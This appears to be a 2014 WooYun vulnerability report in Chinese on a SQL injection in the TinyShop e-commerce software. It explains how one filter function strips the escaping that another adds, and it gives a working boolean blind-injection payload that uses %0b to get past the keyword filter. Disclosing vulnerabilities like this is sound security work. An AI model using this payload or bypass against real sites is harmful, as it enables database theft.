当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076537

漏洞标题:TinyShop SQL注入(开启GPC,绕过过滤)

相关厂商:tinyrise.com

漏洞作者: xiaoL

提交时间:2014-09-19 12:30

修复时间:2014-12-15 12:32

公开时间:2014-12-15 12:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-15: 细节向公众公开

简要描述:

之前的都是找程序员的疏忽,这个位置是绕过程序的防注入。

详细说明:

环境:
GPC = On

public static function sql($str)  //过滤函数
{
if (!get_magic_quotes_gpc()){ //gpc off 就转义,把之前那个奇葩的漏洞补了
//不使用主要是因为,先有mysql的连接
//$str = mysql_real_escape_string($str);
$str = addslashes($str);
}
$str = preg_replace('/([^a-z]+)(select|insert|update|delete|union|into|load_file|outfile|tiny_)/i', ' $2', $str); //这个过滤是可以绕过的
return $str;
}


仔细找发现过滤函数中存在另外一个函数:text
内容如下:

/**@param $str 字符串
* @return 字符串
*@note 处理HTML编辑器的内容,主要是解决JavaScript的注入问题
*/

public static function text($str)
{
$config = HTMLPurifier_Config::createDefault();
$cache_dir=Tiny::getPath('cache')."/htmlpurifier/";
if(!file_exists($cache_dir))
{
File::mkdir($cache_dir);
}
$config = HTMLPurifier_Config::createDefault();
//配置 缓存目录
$config->set('Cache.SerializerPath',$cache_dir); //设置cache目录

//配置 允许flash
$config->set('HTML.SafeEmbed',true);
$config->set('HTML.SafeObject',true);
$config->set('Output.FlashCompat',true);
//$config->set('HTML.Allowed', 'p');
//$config->set('AutoFormat.AutoParagraph', true);
//$config->set('AutoFormat.RemoveEmpty', true);
//允许<a>的target属性
$def = $config->getHTMLDefinition(true);
$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');

$purifier = new HTMLPurifier($config);
if (get_magic_quotes_gpc())$str = stripslashes($str); //漏洞发生的位置,如果开启了gpc,则反转义一次。
$str = $purifier->purify($str);
return $str;
}


其中对gpc进行一次检查,反转义了。于是去找一个使用text的点。
在代码protected\controllers\index.php中:

//搜索与分类的条件解析
private function parseCondition()
{
$page = intval(Req::args("p"));
$page_size = 36;
$sort = Filter::int(Req::args("sort"));
$sort = $sort==null?0:$sort;
$cid = Filter::int(Req::args("cid"));
$cid = $cid==null?0:$cid;
$brand = Req::args("brand");
$price = Req::args("price");
$keyword = urldecode(Req::args('keyword'));
$keyword = Filter::sql($keyword); //经过了sql
$keyword = Filter::text($keyword); //但是经过text之后,\' => ' 又变回去了,成功闭合了下面的fndAll函数。
//初始化数据
$attrs = $specs = $spec_attr = $category_child = $spec_attr_selected = $selected = $has_category = $category = $current_category = array();
$where = $spec_attr_where = $url = "";
$condition_num = 0;
$model = $this->model;
//基本条件的建立
//关于搜索的处理
$action = strtolower(Req::args("act"));
if($action=='search'){
//关于类型的处理
////提取商品下的类型
$seo_title = $seo_keywords = $keyword;
$where = "name like '%$keyword%'";
$rows = $model->table("goods")->fields("category_id,count(id) as num")->where($where)->group("category_id")->findAll(); //带入了这里进行查询
$category_ids = "";
$category_count = array();
foreach ($rows as $row) {
$category_ids .= $row['category_id'].',';
$category_count[$row['category_id']] = $row['num'];
}
$category_ids = trim($category_ids,",");
$has_category = array();
$seo_description = '';
if($category_ids){
$rows = $model->table("goods_category")->where("id in ($category_ids)")->findAll();
foreach ($rows as $row) {
$path = trim($row['path'],',');
$paths = explode(',', $path);
$root = 0;
if(is_array($paths)) $root = $paths[0];
$row['num'] = $category_count[$row['id']];
$has_category[$root][] = $row;
$seo_description .= $row['name'].',';
}
}
if($cid!=0){
$where = "category_id=$cid and name like '%$keyword%'";
$category = $model->table("goods_category as gc ")->join("left join goods_type as gt on gc.type_id = gt.id")->where("gc.id=$cid")->find();
if($category){
$attrs = unserialize($category['attr']);
$specs = unserialize($category['spec']);
if($category['seo_title']!='') $seo_title = $category['seo_title'];
else $seo_title = $category['name'];
if($category['seo_keywords']!='') $seo_keywords = $category['seo_keywords'];
if($category['seo_description']!='') $seo_description = $category['seo_description'];
}
}

//关于分类检索的处理
}


看注释。

漏洞证明:

由于SQL函数过滤不严
可以适应%0b插入关键字绕过。
最终使用
keyword=MacBook Air%' and (ord(substring((sel%0bect user()) from 1 for 1))=114)-- 1
来bool瞩目
默认用户是root
真:

1111.png


假:

2222.png


3333.png

修复方案:

修复text函数

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-15 12:32

厂商回复:

谢谢你的反馈,别人已经提交过了,不过还是感谢的你支持。

最新状态:

暂无